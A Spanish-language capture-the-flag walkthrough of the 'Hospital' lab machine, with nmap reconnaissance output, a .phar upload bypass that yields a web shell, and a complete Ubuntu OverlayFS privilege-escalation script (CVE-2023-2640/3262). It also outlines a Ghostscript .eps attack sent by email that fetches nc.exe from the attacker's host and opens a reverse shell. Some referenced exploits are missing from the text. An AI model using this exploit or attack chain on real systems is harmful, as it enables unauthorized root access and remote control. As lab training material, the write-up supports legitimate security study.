Realizamos un ping a la mΓ‘quina objetivo para verificar la conectividad y obtener informaciΓ³n sobre la ruta utilizando la opciΓ³n -R para incluir la ruta de retorno:
ping -c 1 10.10.11.241 -R
El valor de TTL (Time To Live) igual a 127 puede ser indicativo de que el sistema operativo de la mΓ‘quina objetivo es Windows. El TTL es un valor en el campo de los paquetes IP que indica la duraciΓ³n que un paquete puede estar en una red antes de ser descartado. Windows establece por defecto el valor de TTL de sus paquetes IP en 128, que al pasar por un salto en la red se decrementa a 127.
Escaneo de puertos con Nmap
Luego, realizamos un escaneo de puertos utilizando Nmap para identificar los puertos abiertos en la mΓ‘quina objetivo. Utilizamos las opciones -p- para escanear todos los puertos, --open para mostrar solo los puertos abiertos, -sS para un escaneo de tipo TCP SYN, --min-rate 5000 para establecer la velocidad mΓnima de paquetes y -vvv para un nivel de verbosidad alto. AdemΓ‘s, utilizamos -n para desactivar la resoluciΓ³n de DNS, -Pn para no realizar el escaneo de ping, y -oG allPorts para guardar la salida en un archivo con formato Greppable para luego utilizar nuestra funciΓ³n extractPorts:
Posteriormente, realizamos un escaneo mΓ‘s detallado de los puertos identificados utilizando la opciΓ³n -sCV para detecciΓ³n de versiones y scripts de enumeraciΓ³n de servicios. EspecΓficamente, indicamos los puertos a escanear con -p __PORTS__ (reemplazando __PORTS__ con los puertos identificados en el paso anterior) y guardamos la salida en un archivo de texto con el nombre targeted:
# Nmap 7.94SVN scan initiated Fri Mar 8 23:09:28 2024 as: nmap -sCV -p22,53,88,135,139,389,443,445,464,593,636,1801,2103,2105,2107,2179,3268,3269,3389,5985,6404,6406,6407,6409,6617,6635,7227,8080,9389 -oN targeted 10.10.11.241
Nmap scan report for 10.10.11.241
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)
|_ 256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-03-09 11:09:23Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
443/tcp open ssl/http Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
|_http-title: 400 Bad Request
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after: 2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
1801/tcp open msmq?
2103/tcp open msrpc Microsoft Windows RPC
2105/tcp open msrpc Microsoft Windows RPC
2107/tcp open msrpc Microsoft Windows RPC
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
3269/tcp open globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after: 2028-09-06T10:49:03
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.hospital.htb
| Not valid before: 2024-02-27T12:01:14
|_Not valid after: 2024-08-28T12:01:14
| rdp-ntlm-info:
| Target_Name: HOSPITAL
| NetBIOS_Domain_Name: HOSPITAL
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: hospital.htb
| DNS_Computer_Name: DC.hospital.htb
| DNS_Tree_Name: hospital.htb
| Product_Version: 10.0.17763
|_ System_Time: 2024-03-09T11:10:31+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
6404/tcp open msrpc Microsoft Windows RPC
6406/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
6407/tcp open msrpc Microsoft Windows RPC
6409/tcp open msrpc Microsoft Windows RPC
6617/tcp open msrpc Microsoft Windows RPC
6635/tcp open msrpc Microsoft Windows RPC
7227/tcp open msrpc Microsoft Windows RPC
8080/tcp open http Apache httpd 2.4.55 ((Ubuntu))
|_http-open-proxy: Proxy might be redirecting requests
|_http-server-header: Apache/2.4.55 (Ubuntu)
| http-cookie-flags:
| /:
| PHPSESSID:
|_ httponly flag not set
| http-title: Login
|_Requested resource was login.php
9389/tcp open mc-nmf .NET Message Framing
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: 6h59m44s, deviation: 0s, median: 6h59m44s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2024-03-09T11:10:32
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Mar 8 23:11:23 2024 -- 1 IP address (1 host up) scanned in 114.88 seconds
Hacemos un anΓ‘lisis de nuestro targeted. En mi caso utilizo ChatGPT para que no se me pase nada, subo un resumen de lo que me pareciΓ³ interesante:
ProcedΓ a crear mi propio usuario para profundizar en la funcionalidad de la pΓ‘gina. Una vez dentro, descubrΓ una funcionalidad particularmente interesante: un uploader de imΓ‘genes. Este descubrimiento abre una nueva vΓa de investigaciΓ³n, ya que los uploaders de archivos son notorios por ser puntos de entrada para varios vectores de ataque si no estΓ‘n adecuadamente asegurados.
Primero creamos nuestra imagen para luego subirla con el uploader al sitio, usamos Repeater de Burpsuite para modificar el contenido de la imagen.
touch upload.png; echo test > upload.png
Despues de muchas pruebas me doy cuenta que la extension .phar permite ejecuciΓ³n de cΓ³digo php. Por lo que modifico el formato de uploader.jpg a uploader.phar. De esa forma podemos subir nuestro uploader.php, les dejo el cΓ³digo fuente de este uploader. (Una joyita antigua).
Recuerda configurar la shell apuntando a tu maquina y a tu a puerto. Con YAPS me deja "estabilizar la shell"...
#!/bin/bash
# CVE-2023-2640 CVE-2023-3262: GameOver(lay) Ubuntu Privilege Escalation
# by g1vi https://github.com/g1vi
# October 2023
echo "[+] You should be root now"
echo "[+] Type 'exit' to finish and leave the house cleaned"
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("cp /bin/bash /var/tmp/bash2 && chmod 4755 /var/tmp/bash2 && /var/tmp/bash2 -p && rm -rf l m u w /var/tmp/bash2")'
Decido generar otro payload pero ahora utilizando el archivo nc.exe que descargamos y conectandonos a nuestra mΓ‘quina. Nuevamente debo enviarle un correo a la victima con nuestro nc a la escucha en el puerto 6666.
Al buscar sobre Linux webserver 5.19.0-35 (puedes revisar haciendo uname -a) Podemos encontrar que es vulnerable al siguiente CVE:
Entonces empiezo a ver los correos y en el correo de drbrown comenan el uso de archivos *.eps y que son visualizados con GhostScript. De inmediato busco en Google sobre alguna vulnerabilidad y me encuentro con . Vale la pena intentarlo asΓ que estudio el exploit.
Lo primero que nos gustarΓa hacer es que cuando la victima abra el archivo *.eps se descargue en su mΓ‘quina nc.exe desde nuestro servidor, para luego enviarle otro *.eps con un reverse shell.